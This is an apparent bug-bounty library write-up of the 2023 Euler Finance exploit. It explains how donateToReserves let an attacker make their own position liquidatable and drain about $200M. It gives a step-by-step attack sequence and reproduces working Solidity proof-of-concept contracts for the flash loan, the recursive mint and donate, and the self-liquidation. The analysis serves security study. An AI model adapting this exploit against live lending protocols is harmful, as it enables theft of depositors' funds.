# Euler Finance: donateToReserves self-liquidation drains $200M

Euler Finance's donateToReserves allowed self-liquidation with inflated collateral, draining ~$200M via flash-loan-funded recursive mint and donate.

- Payout: Real-world hack
- Severity: critical
- Program: - EulerFinance
- Analysis by: DeFiHackLabs
- Disclosed: 2023-03-13
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2023-03/Euler_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20230313-euler
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity vuln:accounting-error vuln:business-logic vuln:flash-loan vuln:liquidation

**Target:** Euler lending protocol (eDAI/dDAI markets)
**Root cause:** donateToReserves reduced a user's debt without reducing collateral, enabling a self-liquidation where the attacker's own undercollateralized position was liquidated at a discount, extracting protocol funds.
**Steps:**
1. Flash loan 30M DAI from Aave v2.
2. Deploy violator and liquidator contracts; transfer DAI to violator.
3. violator: `eDAI.deposit(0, 20_000_000e18)` (deposit 20M DAI, receive ~19.5M eDAI).
4. violator: `eDAI.mint(0, 200_000_000e18)` (borrow 10x, receive 195.6M eDAI and 200M dDAI debt).
5. violator: `dDAI.repay(0, 10_000_000e18)` (repay 10M DAI, burn 10M dDAI).
6. violator: `eDAI.mint(0, 200_000_000e18)` again (receive another 195.6M eDAI and 200M dDAI debt).
7. violator: `eDAI.donateToReserves(0, 100_000_000e18)` (donate 100M eDAI, reducing debt to 259M dDAI while collateral remains ~310M eDAI).
8. liquidator: call `Euler.checkLiquidation` then `Euler.liquidate(violator, DAI, DAI, repay, yield)` to self-liquidate the now undercollateralized violator position.
9. liquidator: `eDAI.withdraw(0, DAI.balanceOf(Euler_Protocol))` to withdraw all DAI from Euler.
10. Repay Aave flash loan; profit ~$200M.
**How found:** Likely identified that donateToReserves reduces debt without collateral, and that self-liquidation with a controlled violator contract could extract the liquidation bonus.
**Exploitation:** Attacker flash-loaned 30M DAI, used recursive mint to inflate collateral and debt, then donated eDAI to reserves to make their own position liquidatable. They self-liquidated via a separate contract, receiving a liquidation bonus that exceeded the donated amount, then withdrew all DAI from Euler.
**Escalation:** Recursive mint amplified the position 10x, and the donation created a profitable self-liquidation discount, turning a small initial capital into a ~$200M drain.
**Insight:** In lending protocols, check if donation or repayment functions can alter debt/collateral ratios without corresponding transfers, enabling self-liquidation or bad-debt creation.

## Proof of concept (copied exactly from the original report)

**Violator contract: deposit, mint, donateToReserves sequence**

```
function violator() external {
        DAI.approve(Euler_Protocol, type(uint256).max);
        eDAI.deposit(0, 20_000_000 * 1e18);
        eDAI.mint(0, 200_000_000 * 1e18);
        dDAI.repay(0, 10_000_000 * 1e18);
        eDAI.mint(0, 200_000_000 * 1e18);
        eDAI.donateToReserves(0, 100_000_000 * 1e18);
    }
```

**Liquidator contract: checkLiquidation, liquidate, withdraw**

```
function liquidate(address liquidator, address violator) external {
        IEuler.LiquidationOpportunity memory returnData =
            Euler.checkLiquidation(liquidator, violator, address(DAI), address(DAI));
        Euler.liquidate(violator, address(DAI), address(DAI), returnData.repay, returnData.yield);
        eDAI.withdraw(0, DAI.balanceOf(Euler_Protocol));
        DAI.transfer(msg.sender, DAI.balanceOf(address(this)));
    }
```

**Flash loan entry and executeOperation orchestration**

```
uint256 aaveFlashLoanAmount = 30_000_000 * 1e18;
        address[] memory assets = new address[](1);
        assets[0] = address(DAI);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = aaveFlashLoanAmount;
        uint256[] memory modes = new uint256[](1);
        modes[0] = 0;
        bytes memory params =
            abi.encode(30_000_000, 200_000_000, 100_000_000, 44_000_000, address(DAI), address(eDAI), address(dDAI));
        AaveV2.flashLoan(address(this), assets, amounts, modes, address(this), params, 0);

        emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());
    }

    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initator,
        bytes calldata params
    ) external returns (bool) {
        DAI.approve(address(AaveV2), type(uint256).max);
        violator = new Iviolator();
        liquidator = new Iliquidator();
        DAI.transfer(address(violator), DAI.balanceOf(address(this)));
        violator.violator();
        liquidator.liquidate(address(liquidator), address(violator));
        return true;
```

